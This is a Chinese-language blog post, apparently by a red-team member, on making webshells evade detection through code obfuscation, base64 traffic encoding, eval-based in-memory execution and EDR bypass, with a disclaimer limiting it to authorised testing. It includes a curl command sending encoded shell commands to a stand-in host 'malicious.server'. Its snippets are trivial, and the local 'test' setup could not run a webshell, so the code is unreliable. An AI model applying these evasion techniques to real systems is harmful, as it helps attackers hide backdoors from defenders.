0x01 新闻事件与初探

有一阵子，我在浏览安全新闻时，注意到一起关于知名企业遭遇APT攻击的事件，攻击者在目标服务器上植入了精心设计的Webshell，并成功绕过了多重安全防护。这让我产生了浓厚的兴趣，深入研究了Webshell免杀技术的原理与实战方法。

Webshell的存在并不罕见，但免杀技术的提升使得其隐蔽性大幅增加。攻击者利用各种手段，使得Webshell隐藏于正常的流量与代码中，难以被传统的安全设备检测到。在这次分享中，我将从攻击者的视角出发，展示如何通过技术手段提升Webshell的隐匿性。

Webshell在攻击链中的角色

黑客示意图

在实战攻防中，Webshell通常是攻击者用来控制目标服务器的后门工具。通过Webshell，攻击者可以执行任意命令、上传下载文件、甚至控制整个服务器。其关键在于 隐蔽性，一旦被检测到，攻击者的大部分努力都会付之东流。因此，免杀技术成为Webshell成功与否的决定性因素。

免杀术的秘密

Webshell免杀的核心在于两点：代码混淆与流量伪装。通过这些技术，攻击者可以将Webshell伪装成无害的脚本或正常的网络行为，从而逃避防御软件的检测。

代码混淆

代码混淆是使Webshell代码难以被直接识别的有效方式。通过改变代码结构、引入无意义的字符和变量名，可以有效提高Webshell的隐蔽性。

示例：Ruby代码混淆

<pre><code class="language-ruby"># 这是一个简单的Webshell代码 system(&quot;ls&quot;)

经过混淆处理后

s = &quot;ls&quot; system(&quot;&quot;.tap{|x|x.replace(s)})</code></pre>

流量伪装

流量伪装通过将Webshell的通信流量混杂在正常流量中，使得其难以被流量监测工具抓住。通常使用加密或编码手段，例如Base64、异或加密等。

黑客示意图

示例：Shell流量编码

<pre><code class="language-shell"># 原始命令执行 curl http://malicious.server/shell?cmd=ls

添加Base64编码后的命令

cmd_encoded=$(echo &quot;ls&quot; | base64) curl &quot;http://malicious.server/shell?cmd=${cmd_encoded}&quot;</code></pre>

绕过EDR的战斗艺术

EDR（Endpoint Detection and Response）系统是现代企业防御的关键一环。要将Webshell成功植入且不被EDR发现，需要对其运作机制有深入理解。

分析EDR的检测逻辑

EDR通常通过查找已知的Webshell模式、异常行为来进行检测。因此，定期更新Webshell的代码结构，改变其通信特征，是长期隐蔽的关键。

黑客示意图

动态调用与内存加载技术

通过动态调用与内存加载技术，攻击者可以在不落地的情况下执行Webshell代码，从而有效绕过EDR的文件扫描。

实战代码：Ruby实现动态调用

<pre><code class="language-ruby"># Webshell代码片段 webshell_code = &quot;system(&#039;ls&#039;)&quot;

动态调用

eval webshell_code # 直接在内存中执行命令</code></pre>

实战环境搭建与测试

制作流量伪装的Webshell

我常常使用本地虚拟环境来测试Webshell的免杀能力。在这里，我们将搭建一个简单的Web服务器，并使用已经混淆和编码的Webshell进行测试。

黑客示意图

Shell搭建测试环境

<pre><code class="language-shell"># 启动本地Web服务器 python3 -m http.server 8080

使用curl测试Webshell

curl &quot;http://localhost:8080/shell?cmd=ls&quot;</code></pre>

注意：以上操作仅限于授权的安全测试环境，切勿用于非法攻击。

经验与技巧分享

在长期的红队对抗中，我总结出了一些提高Webshell免杀成功率的技巧：

  1. 定期更新：定期对Webshell代码进行重构，改变其结构与外观。
  2. 多样化：使用多种混淆与加密手段，避免单一技术被识别。
  3. 流量分析：通过流量捕获工具分析正常流量特征，并将Webshell流量伪装成类似的特征。
  4. 环境模拟：在本地搭建与目标相似的环境，确保在不同情况下Webshell依然能够隐蔽。

最后的思考

在APT攻击中，成功的关键往往在于细节与创新。Webshell免杀技术虽然只是一环，但其决定了整个攻击链的隐蔽性与持久性。作为红队成员，我们要不断更新自己的技术，模拟真实环境下的对抗场景，才能在实战中取得胜利。

本文仅供授权安全测试与研究使用，任何非法使用概不负责。

通过这些分享，希望能为你的攻防之路提供一些启发。记住，攻防永无止境，技术永远在进步。